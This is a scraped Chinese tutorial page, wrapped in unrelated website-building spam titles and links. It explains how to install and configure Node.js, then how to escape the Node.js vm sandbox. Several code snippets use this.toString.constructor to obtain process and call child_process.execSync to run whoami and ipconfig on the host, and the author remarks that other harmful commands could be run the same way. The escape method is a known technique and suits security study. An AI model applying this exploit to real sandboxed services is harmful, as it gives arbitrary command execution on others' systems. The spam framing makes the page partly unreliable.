当前位置: 首页 > news >正文

网站建设案例典型企业案例品牌型网站开发

网站建设案例典型企业案例,品牌型网站开发,长沙南站建站,上海网站制作福州目录 一. 配置环境1.下载nodejs2.nodejs配置3.报错解决方法 二. nodej沙箱绕过1. vm模块2.使用this或引用类型来进行沙箱绕过 一. 配置环境 1.下载nodejs 官网#xff1a;https://nodejs.org/en2.nodejs配置 安装nodejs的msi文件#xff0c;默认配置一直下一步即可#x… 目录 一. 配置环境1.下载nodejs2.nodejs配置3.报错解决方法 二. nodej沙箱绕过1. vm模块2.使用this或引用类型来进行沙箱绕过 一. 配置环境 1.下载nodejs 官网https://nodejs.org/en2.nodejs配置 安装nodejs的msi文件默认配置一直下一步即可以下步骤以默认安装为准如有安装位置改变请自行更改环境变量里面的配置。 继续进行环境变量的配置 用户变量如下 系统变量如下 编辑PATH添加如下 在默认安装位置新建如下两个文件 node_cache是放安装过程的缓存文件 node_global是存放安装模块配置位置 测试是否安装成功 继续执行如下命令 npm config set prefix C:\Program Files\nodejs\node_global npm config set cache C:\Program Files\nodejs\node_cache安装cluster进行测试 npm install cluster -g3.报错解决方法 如有报错请尝试给nodejs默认安装目录提升用户权限来解决。 二. nodej沙箱绕过 1. vm模块 const vm require(vm); const script m n; const sandbox { m: 1, n: 2 }; const context new vm.createContext(sandbox); const res vm.runInContext(script, context); console.log(res)运行结果 2.使用this或引用类型来进行沙箱绕过 this指向的是sandbox,我们可以获得一个tosString方法通过toString方法来获得一个构造函数。 所有函数都是由Fuction创造出来的,我们的目的是拿到process模块 因为constructor本身指向它的构造函数所以我们可以利用constructor函数来拿到Function函数 沙盒逃逸就是要把外面的元素或者对象引入进来。 如下此时是利用this const vm require(vm); const script const process x.toString.constructor(return process)() process.mainModule.require(child_process).execSync(whoami).toString() ;const sandbox { m: [], n: {}, x:/regexp/}; const context new vm.createContext(sandbox); //const res vm.runInContext(script, context); const res vm.runInContext(script,context) console.log(res) 我们把“x”替换为this也是可以成功执行的此时m和n可以是任意.,这个是利用了引用类型比如{}。 const vm require(vm); const script const process this.toString.constructor(return process)() process.mainModule.require(child_process).execSync(ipconfig).toString() ;const sandbox { m: 1, n: 2 }; const context new vm.createContext(sandbox); //const res vm.runInContext(script, context); const res vm.runInContext(script,context) console.log(res)whoami成功执行代表着此时已经可以任意命令执行 用户learnpc是我的管理员用户 比如我们这里在执行以下ipconfig来进行验证 以上便是经典的沙箱逃逸来执行命令当我们可以执行命令的时候便说明我们其实已经成功拿下。此时也可执行其他不好的命令。
http://www.hkea.cn/news/14587401/

相关文章:

  • 外贸如何推广公司网站河南网站建设怎么收费
  • 网站开发课程学习广西网站怎么制作
  • cloud域名注册网站网站如何增加百度权重的方法
  • 网站建设特色企业解决方案和应对措施
  • 宁波 商城网站建设销售网站设计方案
  • 中咨建设监理有限公司网站wordpress商城主题模板
  • 手游传奇网站发布写作网站官方
  • 龙华建设发展有限公司网站阅读app软件开发
  • 公司开发个网站有哪些市场调查报告模板及范文
  • 网站插件代码下载哪里专业做网站
  • 哪些网站是增值网网站建设后需要维护吗
  • 淄博网站制作定制本地成都网站建设
  • 中企动力和东莞朝阳做的网站对比网站制作教程视频
  • iis网站没有属性能打开的网站你了解的
  • 现在的官方网站怎么做的青岛网站快速备案
  • 做外贸在哪个网站比较好wordpress html 编辑器
  • 机械英语网站天津做网站开发的
  • 如何将别人的网站作为自己的指定网站建设前期规划方案
  • 360°网站标签旋转显示特效网页设计个人网页制作
  • 怎么建设微网站八戒商标注册网
  • 做音乐网站用什么程序西安直播室网站建设
  • 沛县做网站263企业邮箱登录登录
  • 网站关键词被改做淘宝客为什么要建网站
  • 设计方案英文东莞网站优化哪里找
  • 企业网站建设管理制度美橙网站建设教程
  • php精品网站建设最新热搜新闻
  • 南京鼓楼做网站的公司升学宴ppt免费模板下载
  • 自己搭建网站dedecms 网站安全
  • 采购网站官网制作企业网站价格
  • 东莞专业网站建设网站建设资料清单